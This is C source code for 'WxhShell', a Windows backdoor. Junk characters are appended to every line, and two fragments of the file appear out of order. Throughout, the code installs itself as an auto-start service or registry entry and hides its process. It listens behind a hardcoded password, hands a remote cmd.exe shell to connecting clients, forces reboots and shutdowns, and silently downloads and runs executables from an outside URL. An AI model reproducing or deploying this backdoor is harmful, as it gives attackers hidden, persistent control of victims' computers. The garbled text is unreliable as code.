    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZtzSG@f  
    if(Boot(SHUTDOWN)) )q.Z}_,)@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L >* F8|g  
    else { MHF31/g\  
    closesocket(wsh); mT]+wi&  
    ExitThread(0); hbZ]DRg  
    } U2Uf69R  
    break; z@70{*  
    } |\HYq`!g%7  
  // 获取shell A%Ov.~&\G  
  case 's': { `2WtA_  
    CmdShell(wsh); >Q(+H-w  
    closesocket(wsh); rTJ='<hIy  
    ExitThread(0); )7X+T'?%  
    break; V)pn)no'V  
  } $5(_U  
  // 退出 _'eG   
  case 'x': { |6qxRWT"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,s=jtK  
    CloseIt(wsh); v~l_6V}  
    break; rwZI;t$hf  
    } #F>7@N:5  
  // 离开 C]X:@^Hy  
  case 'q': { A$6T)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); th!$R  
    closesocket(wsh); g]fdsZv  
    WSACleanup(); 6[b?ckvi  
    exit(1); `5HFRgL`.  
    break; su?{Cj6*  
        } 73n|G/9n[  
  } NZu\ Ae  
  } 1q?b?.  
P M x`P B  
  // 提示信息 7@[HRr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y_s^dQe  
} <N4)X"s  
  } *\-R&8  
asT/hsSNS  
  return; {2A| F{7>  
} rNi]|)-ET  
$ 8"we  
// shell模块句柄 a\K__NCrX  
int CmdShell(SOCKET sock) jY~W*  
{ |JUb 1|gi  
STARTUPINFO si; :Dh\  
ZeroMemory(&si,sizeof(si)); j{U#g8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LnwI 7uvq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xJ-(]cO'  
PROCESS_INFORMATION ProcessInfo;  0 |/:m  
char cmdline[]="cmd"; Lip(r3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U<pG P  
  return 0; pCB^\M%*  
} t K $r_*  
N5ph70#y3  
// 自身启动模式 3`Ug]<m  
int StartFromService(void) qD/GYqvm  
{ Q3@MRR^tY  
typedef struct k$ ya.b<X/  
{ }3b3^f  
  DWORD ExitStatus; b I%Sq+"}  
  DWORD PebBaseAddress; s8r|48I#;  
  DWORD AffinityMask; G{ |0}  
  DWORD BasePriority; *A^j>lV  
  ULONG UniqueProcessId; S= NGJ 0  
  ULONG InheritedFromUniqueProcessId; 31y>/*}  
}   PROCESS_BASIC_INFORMATION; x4_xl .  
>5O#_?  
PROCNTQSIP NtQueryInformationProcess; YK=o[nPmK  
&J]|pf3m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4 6yq F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [Iwb7a0p  
k;7R3O@  
  HANDLE             hProcess; _v[yY3=3  
  PROCESS_BASIC_INFORMATION pbi; ~o <+tL  
B}:/2?gQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $!'S7;*uW  
  if(NULL == hInst ) return 0; `4xnM`:L"  
7EfLd+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =6sA49~M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +i\ +bR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q7z;bA  
?cZ#0U  
  if (!NtQueryInformationProcess) return 0; 0P+B-K>n  
l[,RA?i {  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `<?{%ja  
  if(!hProcess) return 0; (TX\vI&  
E$4_.Z8sRw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |v Gb,&3  
(Yv)%2  
  CloseHandle(hProcess); "X[sW%# F  
/Ezx'h3Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qe/|u3I<lF  
if(hProcess==NULL) return 0; i[+cNJ|$B0  
A89n^@  
HMODULE hMod; ]* #k|>Fl  
char procName[255]; 3PBGIo  
unsigned long cbNeeded; rfz\DvV d  
M*+MhM-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tc|`cB3f  
?<*mIf:?  
  CloseHandle(hProcess); RaT_5PH~g  
brdfj E8  
if(strstr(procName,"services")) return 1; // 以服务启动 , GU|3  
un&Z' .   
  return 0; // 注册表启动 ~xp(k  
} SU` RHAo  
tM% f#O  
// 主模块 u@@0YUa  
int StartWxhshell(LPSTR lpCmdLine) AZHZUd4  
{ hoLQuh%2%  
  SOCKET wsl;  pxuZ=<  
BOOL val=TRUE; YKWiZ  
  int port=0; z{>p<)h  
  struct sockaddr_in door; 9B&fEmgEc?  
cn3F3@_"\  
  if(wscfg.ws_autoins) Install(); =*[98%b   
.{=|N8*py8  
port=atoi(lpCmdLine); id" -eMwp  
w,s++bV;L  
if(port<=0) port=wscfg.ws_port; l>kREfHq!{  
@[2Go}VF  
  WSADATA data; i3SrsVSG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {9,!XiF.:  
)-u0n] ,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `pTCK9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  gZg5On  
  door.sin_family = AF_INET; W ZAkp|R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'g@Yra&09  
  door.sin_port = htons(port); @[=K`n:n_  
(v@)nv]U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zK_+UT  
closesocket(wsl); 82>90e(CH]  
return 1; q!OB?03n  
} 1Z$` }a  
K<g<xW*X  
  if(listen(wsl,2) == INVALID_SOCKET) { Ofm?`SE*|  
closesocket(wsl); IQm[ ,Fh  
return 1; >QcIrq%=  
} Vzmw%f)_+  
  Wxhshell(wsl); 7<Yf  
  WSACleanup(); $oo`]R_   
K8R}2K-Y  
return 0; q b[UA5S\`  
:g+5cs  
} AWG;G+  
O'i!}$=g  
// 以NT服务方式启动 -,Oq=w*EV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U?[_ d  
{ p_g#iH!*  
DWORD   status = 0; "J_#6q*  
  DWORD   specificError = 0xfffffff; p!_3j^"{  
[2l2w[7Rid  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \I[f@D-J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Osk'zFiL<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WxrG o o^  
  serviceStatus.dwWin32ExitCode     = 0; YTk"'q-  
  serviceStatus.dwServiceSpecificExitCode = 0; W[R^5{k`  
  serviceStatus.dwCheckPoint       = 0; [d3i _^\  
  serviceStatus.dwWaitHint       = 0; nl\l7/}6  
je[1>\3W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h8)m2KrZ!.  
  if (hServiceStatusHandle==0) return; GI ;  
xis],.N  
status = GetLastError(); AY B~{  
  if (status!=NO_ERROR) /E32^o|,>  
{ ,P.yl~'Al  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $-Yq?:  
    serviceStatus.dwCheckPoint       = 0; q-lejVS(g  
    serviceStatus.dwWaitHint       = 0; ?r}'0dW  
    serviceStatus.dwWin32ExitCode     = status; Ob~7r*q  
    serviceStatus.dwServiceSpecificExitCode = specificError; bZKlQ<sI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6]D%|R,Q#}  
    return; h@H8oZ[  
  } IHs^t/;Iv  
|ler\"Eu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !Y95e'f.x  
  serviceStatus.dwCheckPoint       = 0; @L/p  
  serviceStatus.dwWaitHint       = 0; brpsZU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;&2f{  
} ~ 7^#.  
xaw)iC[gI{  
// 处理NT服务事件,比如:启动、停止 |Vj@;+/j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EG&97l b  
{ )/{zTg8$?/  
switch(fdwControl) =U- w!uW  
{ R?E< }\!  
case SERVICE_CONTROL_STOP: Xk]:]pl4W  
  serviceStatus.dwWin32ExitCode = 0; /]@1IC{Lk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a:V2(nY  
  serviceStatus.dwCheckPoint   = 0; 2Vwv#NAV k  
  serviceStatus.dwWaitHint     = 0; *)| EWT?,  
  { IBn+4 2V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hdxon@,+cd  
  } jY|fP!?[  
  return; m5'nqy F  
case SERVICE_CONTROL_PAUSE: 7J6D wh{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m(0c|-  
  break; +~{Honj[  
case SERVICE_CONTROL_CONTINUE: d>wpG^"w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u6 lcl}'  
  break; 9!u&8#i  
case SERVICE_CONTROL_INTERROGATE: =K:)%Qh  
  break; a^5.gfzA  
}; p G-9H3[f#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /T\'&s3D+  
} .VG5 / 6zp  
vS1#ien#  
// 标准应用程序主函数 02RZ>m+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CUI\:a-   
{ K4w#}gzok  
+f"q^RIU  
// 获取操作系统版本 6M^NZ0~J  
OsIsNt=GetOsVer(); _B6W:k|-7l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w40 -K5wt>  
D9 \!97  
  // 从命令行安装 _+*+,Vx  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7E]qP 5  
NQu .%=  
  // 下载执行文件 S9mcThcZ  
if(wscfg.ws_downexe) { 0vjlSHS;`.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R[vA%G  
  WinExec(wscfg.ws_filenam,SW_HIDE); uozK'L  
} ,u@Vi0  
RqU^Q*/sF  
if(!OsIsNt) { <oKoz0!  
// 如果时win9x,隐藏进程并且设置为注册表启动 L}hc|(:  
HideProc(); /JGET  
StartWxhshell(lpCmdLine); z?M_Cz;:J  
} `"s*'P398  
else F[5sFk M7  
  if(StartFromService()) jnzOTS   
  // 以服务方式启动 x;@wtd*QB  
  StartServiceCtrlDispatcher(DispatchTable); /t|Lu@&:Xo  
else y3Qb2l  
  // 普通方式启动 CY</v,\:#  
  StartWxhshell(lpCmdLine); {Lg]chJq?  
CBKLct>  
return 0; A3s-C+@X  
} AV]7l}-  
0@LC8Bz+'  
Q^} Ib[  
IY40d^x  
=========================================== (kmrWx= $  
-PiakX  
\u$[$R5  
FnWN]9  
M;j)F  
]rS:# LK  
" WvN{f*  
$, vX yZ  
#include <stdio.h> e.Gjp {  
#include <string.h> (8td0zq  
#include <windows.h> 9NC?J@&B  
#include <winsock2.h> ?8-ho0f0  
#include <winsvc.h> (b#4Z  
#include <urlmon.h> ?8!\VNC.  
&[W53Lqa  
#pragma comment (lib, "Ws2_32.lib") E@/* eJ  
#pragma comment (lib, "urlmon.lib") qq '%9  
t b>At*tO  
#define MAX_USER   100 // 最大客户端连接数 FI8 vABq  
#define BUF_SOCK   200 // sock buffer 5#U=x ,7e  
#define KEY_BUFF   255 // 输入 buffer k{C03=xk  
zFm:=,9  
#define REBOOT     0   // 重启 " 7g\X$  
#define SHUTDOWN   1   // 关机 Csf!I@}Z  
_~.S~;o!b  
#define DEF_PORT   5000 // 监听端口 ]Ei*I}  
z2U^z*n{  
#define REG_LEN     16   // 注册表键长度 MRN=-|fV^  
#define SVC_LEN     80   // NT服务名长度 :-tMH02c  
+[2ep"5H  
// 从dll定义API 3,^.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ngOGo =  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l}_6 _g>6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MG:eI?G/'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sH51 .JG  
|crm{]7X  
// wxhshell配置信息 L/xTW  
struct WSCFG { {NUI8AL46A  
  int ws_port;         // 监听端口 ;iO5 8S3  
  char ws_passstr[REG_LEN]; // 口令 k*K.ZS688  
  int ws_autoins;       // 安装标记, 1=yes 0=no JXQh$hs  
  char ws_regname[REG_LEN]; // 注册表键名 HlOn=>)<  
  char ws_svcname[REG_LEN]; // 服务名 U(:Di]>{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4`/Td?THx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9GtVcucN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p8(Z{TSv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `5 Iaz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #pnB+h&tE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KD`*[.tT  
j@.^3:  
}; Mhu|S)hn  
&P&VJLAe  
// default Wxhshell configuration cvVv-L<[S`  
struct WSCFG wscfg={DEF_PORT, w Y=k$  
    "xuhuanlingzhe", r !;wKO  
    1, vLIaTr gz  
    "Wxhshell", k!py*noy  
    "Wxhshell", a: 2ezxP  
            "WxhShell Service", _6.Y3+7I  
    "Wrsky Windows CmdShell Service", |_m N:(3  
    "Please Input Your Password: ", Jd28/X5&  
  1, w5`EJp8MC  
  "http://www.wrsky.com/wxhshell.exe", `Sal-|[Cv[  
  "Wxhshell.exe" "sYZ3  
    }; 3QDz9KwCAw  
?$.JgG%Z+g  
// 消息定义模块 :B~m^5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lf\x`3Vd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LnPG+<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q0{_w  
char *msg_ws_ext="\n\rExit."; +1nzyD_E  
char *msg_ws_end="\n\rQuit."; W H%EC$  
char *msg_ws_boot="\n\rReboot..."; >e!Y63`  
char *msg_ws_poff="\n\rShutdown..."; PZihC  
char *msg_ws_down="\n\rSave to "; 1ZY~qP+n+  
&3 *#h  
char *msg_ws_err="\n\rErr!"; r"!xI  
char *msg_ws_ok="\n\rOK!"; <UwYI_OX  
6 IRa$h>H  
char ExeFile[MAX_PATH]; @plh'f}  
int nUser = 0; M{g.x4M@W  
HANDLE handles[MAX_USER]; zy`T! $  
int OsIsNt; 3z% W5[E)  
`(M0I!t  
SERVICE_STATUS       serviceStatus; 0i(c XB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^s\T<;  
4{ [d '-H5  
// 函数声明 5c$\DZ(  
int Install(void); `_SV1|=="8  
int Uninstall(void); rV}&G!V_t  
int DownloadFile(char *sURL, SOCKET wsh); v8K`cijSS  
int Boot(int flag); .Bojb~zt  
void HideProc(void); <"yL(s^u"  
int GetOsVer(void); .'b| pd  
int Wxhshell(SOCKET wsl); JnLF61   
void TalkWithClient(void *cs); EMzJyGt7  
int CmdShell(SOCKET sock); uC%mGZ a  
int StartFromService(void); ?5;N=\GQ  
int StartWxhshell(LPSTR lpCmdLine); RZ|M;c  
C!U$<_I\2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); > D%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ! ~tf0aY  
Q5HSik4  
// 数据结构和表定义 \_x~lRqJJ  
SERVICE_TABLE_ENTRY DispatchTable[] = Vwb_$Yi+]  
{ FuC \qF  
{wscfg.ws_svcname, NTServiceMain}, xdh%mG:?  
{NULL, NULL} \ 027>~u {  
}; Py#TXzEcC  
9Dp0Pi?29  
// 自我安装 ?JBA`,-  
int Install(void) M(vX.kF  
{ W;?e@}  
  char svExeFile[MAX_PATH]; OZEbs 7  
  HKEY key; 9"zp>VR  
  strcpy(svExeFile,ExeFile); $b)t`r+  
iK!FVKi}  
// 如果是win9x系统,修改注册表设为自启动 VaA.J  
if(!OsIsNt) { 3vdFO: j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4v` G/w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CSY-{  
  RegCloseKey(key); <H$!OPV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L tUvFe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W#2} EX  
  RegCloseKey(key); "R"{xOQl  
  return 0; @w;$M]o1  
    } )iid9K<HB  
  } /D964VR1M\  
} @9~x@[  
else { [Sj"gLj  
A4(k<<xjE  
// 如果是NT以上系统,安装为系统服务 w c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b,X+*hRt  
if (schSCManager!=0) "]|7%]  
{ 7A h   
  SC_HANDLE schService = CreateService LTB rg[X  
  ( Bg}l$?S  
  schSCManager, BkP4.XRI  
  wscfg.ws_svcname, n6G&c4g<"  
  wscfg.ws_svcdisp, 2@IL  n+#  
  SERVICE_ALL_ACCESS, %cBOi_}}~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iNc!z A4  
  SERVICE_AUTO_START, N6`U)=2o>h  
  SERVICE_ERROR_NORMAL, iCCe8nK  
  svExeFile, -/2B fIq  
  NULL, @$iZ9x6t  
  NULL, = 5[%%Lf  
  NULL, nw_s :  
  NULL, L4Kg%icz l  
  NULL 6)BPDfU,  
  ); o2cc3`*8d  
  if (schService!=0) 7!wc'~;  
  { P- +]4\  
  CloseServiceHandle(schService); xGFbh4H=8p  
  CloseServiceHandle(schSCManager); ;G[0%z+*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;WAa4r>  
  strcat(svExeFile,wscfg.ws_svcname); 4I .'./u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OZC yg/K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jFip-=T{4  
  RegCloseKey(key);  e<(6x[_  
  return 0; o1"N{ Eu  
    } hA;Ai:8  
  } [!MS1v c;  
  CloseServiceHandle(schSCManager); 9dm<(I}  
} \&~YFjB  
} RAnF=1[v  
1;'-$K`}  
return 1; }h1eB~6M  
} bYZU}Kl;(  
\98N8p;,I  
// 自我卸载 ><S(n#EB  
int Uninstall(void) o 0T1pGs'  
{ gf?N(,  
  HKEY key; sT "q]  
i+pQ 7wx  
if(!OsIsNt) { c&,q`_t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A\W) uwyN  
  RegDeleteValue(key,wscfg.ws_regname); tCm]1ZgRW  
  RegCloseKey(key); 7WUv  O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nA{yH}D4  
  RegDeleteValue(key,wscfg.ws_regname); _!!Fg%a5"R  
  RegCloseKey(key); 9_?e, Q  
  return 0; O&&_)  
  } BoST?"&}'  
} W-gu*iZ6&  
} Z`86YYGK  
else { TI\xCIH  
?>iUz.];t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /h{Rf,H  
if (schSCManager!=0) wOCAGEg  
{ gFrNk Uqp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z+{+Q9j  
  if (schService!=0) #ti%hm  
  { BvH?d]%  
  if(DeleteService(schService)!=0) { 8e^uKYR<  
  CloseServiceHandle(schService); k<M Q  
  CloseServiceHandle(schSCManager); 7S^G]g!x  
  return 0; 8qaU[u&$  
  } SH#*Lc   
  CloseServiceHandle(schService); -(>Ch>O  
  } t K/.9qP  
  CloseServiceHandle(schSCManager); -|f0;Fl  
} /AyxkXq  
} Y/"t!   
O|)b$H_  
return 1; z1 MT@G)S$  
} 6/?onEL9_  
v;U5[  
// 从指定url下载文件 gu%i|-}  
int DownloadFile(char *sURL, SOCKET wsh) (x?Tjyzw  
{ , ,ng]&%i  
  HRESULT hr; :=TIq  
char seps[]= "/"; U*E)y7MY  
char *token; Cl!(F 6K*  
char *file; h_+  
char myURL[MAX_PATH]; H0sTL#/L\  
char myFILE[MAX_PATH]; V=% ;5/  
{7c'%e  
strcpy(myURL,sURL); Q;!rN)  
  token=strtok(myURL,seps); -zn_d]NV  
  while(token!=NULL) ;gSRpTS:  
  { Z<^!N)  
    file=token; |2@*?o"ll  
  token=strtok(NULL,seps); ^G(Ee+PN@  
  } a'/i/@h  
EwU)(UK  
GetCurrentDirectory(MAX_PATH,myFILE); r 1jt~0&K  
strcat(myFILE, "\\"); I[v`)T'_{  
strcat(myFILE, file); V$w lOMp  
  send(wsh,myFILE,strlen(myFILE),0); c.b| RM0;  
send(wsh,"...",3,0); {jmy:e2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y&8,f|{R  
  if(hr==S_OK) VN`fZ5*d~  
return 0; rQ_@q_B.  
else 8.8t$  
return 1; m&gB;g3:  
]d@>vzCO  
} 6hv.;n};  
>5:O%zQ@  
// 系统电源模块 |:JT+a1  
int Boot(int flag) Xa.8-a"hz  
{ ZV+tHgzlv5  
  HANDLE hToken; :v;U7  
  TOKEN_PRIVILEGES tkp; ~IjID  
_p+E(i 9  
  if(OsIsNt) { 5Gy#$'kdf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "t(_r@qU/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f$:SacF  
    tkp.PrivilegeCount = 1; r{9fm,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X!^|Tass  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); la_c:#ho  
if(flag==REBOOT) { C!Srv 7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \3^ue0  
  return 0; 1O NkmVtL  
} gCC7L(1  
else { t(-,mw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zU+q03l8Ur  
  return 0; 0 }od Q#  
} QAp]cE1ew  
  } 0]iaNR %  
  else { $Oy&PO e  
if(flag==REBOOT) { BLO ]78  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?z&%VU"  
  return 0; 7 [1|(6$  
} iW>^'W#  
else { %kV7 <:y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,>S7c  
  return 0; cPNc$^Y  
} O.ce=E  
} vQK/xg  
;-kDJ i  
return 1; (BeJ,K7  
} 6`@J=Q?  
*|dK1'Xr  
// win9x进程隐藏模块 Pap6JR{7  
void HideProc(void) 2a48(~<_  
{ U|%}B(  
Z 9+fTT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H4AT>}ri  
  if ( hKernel != NULL ) tLa%8@;'$  
  { |oXd4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZDbe]9#Xh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @|c])  
    FreeLibrary(hKernel); QR'#]k;>%  
  } w"s@q$}]8M  
FZj>N(  
return;  k-=LD  
} o?hr>b  
UWvVYdy7  
// 获取操作系统版本 ]{\ttb%GX  
int GetOsVer(void) [A!w  
{ ;ISnI  
  OSVERSIONINFO winfo; T TN!$?G3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9"]#.A^Q*  
  GetVersionEx(&winfo); ucx02^uA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +)"Rv%.  
  return 1; U\tx{CsSz  
  else l9&k!kF`  
  return 0; qrlC U4  
} 9DNp  
SI+Uq(k  
// 客户端句柄模块 KRC"3Qt  
int Wxhshell(SOCKET wsl) oIj=ba(n1  
{ 3^+D,)#D^  
  SOCKET wsh; U*$xR<8v  
  struct sockaddr_in client; @i;)`k5b  
  DWORD myID; ?e<2'\5v  
j/d}B_2  
  while(nUser<MAX_USER) y]fI7nu&  
{ gE#'Zv{7  
  int nSize=sizeof(client); KZw~Ch}b9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g gx_h  
  if(wsh==INVALID_SOCKET) return 1; +wmG5!%$|  
P8,Ps+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3>aEP5  
if(handles[nUser]==0) bPU i44P  
  closesocket(wsh); r_#dh  
else lFyDH{!  
  nUser++; w&aZ 97{  
  } 8'8`xu$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bHe' U>  
nm,LKS7  
  return 0; F^NK"<tW  
} <]M. K3>  
Wjw ,LwB  
// 关闭 socket aIV / c  
void CloseIt(SOCKET wsh) Ey|_e3Lf[  
{ 0\ = du  
closesocket(wsh); LnI  
nUser--; rQVX^  
ExitThread(0); {}$7Bp  
} EyE#x_A  
Z_\p8@3aH  
// 客户端请求句柄 MVsFi]-  
void TalkWithClient(void *cs) hu.o$sV3;  
{ :lcq3iFn  
^!&6 =rb  
  SOCKET wsh=(SOCKET)cs; eMJ>gXA]  
  char pwd[SVC_LEN]; Zp9. ~&4o-  
  char cmd[KEY_BUFF]; 4 V')FGB$  
char chr[1]; Dp ](?Yr  
int i,j; j ) 6  
V}#X'~Ob  
  while (nUser < MAX_USER) { o[Jzx2A<  
Go)$LC0Mi  
if(wscfg.ws_passstr) { ){5Nod{}a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @owneSD qN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }oRBQP^&K  
  //ZeroMemory(pwd,KEY_BUFF); T$xB H  
      i=0; 56 3mz-  
  while(i<SVC_LEN) { tX{yR'Qhu  
pa[/6(  
  // 设置超时 ~P1~:AT  
  fd_set FdRead; ecghY=%  
  struct timeval TimeOut; Hsf::K x  
  FD_ZERO(&FdRead); _5jT}I<k  
  FD_SET(wsh,&FdRead); E^axLp>(I  
  TimeOut.tv_sec=8; H4w\e#|  
  TimeOut.tv_usec=0; k2U*dn"9U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?BnU0R_r]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (j&:  
-Z"4W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N]A# ecm  
  pwd=chr[0]; (jM0YtrD  
  if(chr[0]==0xd || chr[0]==0xa) { [>O!~  
  pwd=0; ?l0Qi  
  break; YA4D?'  
  } * j%x  
  i++; mH'~pR>t  
    } `<C<[JP:o  
9{toPED  
  // 如果是非法用户,关闭 socket 6Yj{% G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uZ!YGv0^  
} Gmz^vpQ]t  
0@ Y#P|QF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AG N/kx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i+*!" /De  
P=QxfX0B  
while(1) { 'r?ULft1  
~zqb{o^pT  
  ZeroMemory(cmd,KEY_BUFF); /,Xl8<~#  
Hc)z:x;Sj  
      // 自动支持客户端 telnet标准   =:- fK-d  
  j=0;  )(G9[DG  
  while(j<KEY_BUFF) { *; o%*:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,@`?I6nKy  
  cmd[j]=chr[0]; Ttluh *  
  if(chr[0]==0xa || chr[0]==0xd) { 8D='N`cN+  
  cmd[j]=0; Jj"{C]  
  break; {>f"&I<xw  
  } 1@F-t94I  
  j++; ju"z  
    } uzy5rA==  
9P?0D  
  // 下载文件 pM?;QG;jA  
  if(strstr(cmd,"http://")) { JE?rp1.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3e_tT8  
  if(DownloadFile(cmd,wsh)) /Nf{;G!kg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;w7mr1  
  else k?+ 7%A]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  \i%'M%  
  } qO#3{kW  
  else { B>,e HXW  
EuK}L[Kl  
    switch(cmd[0]) { b3ohTmy4(  
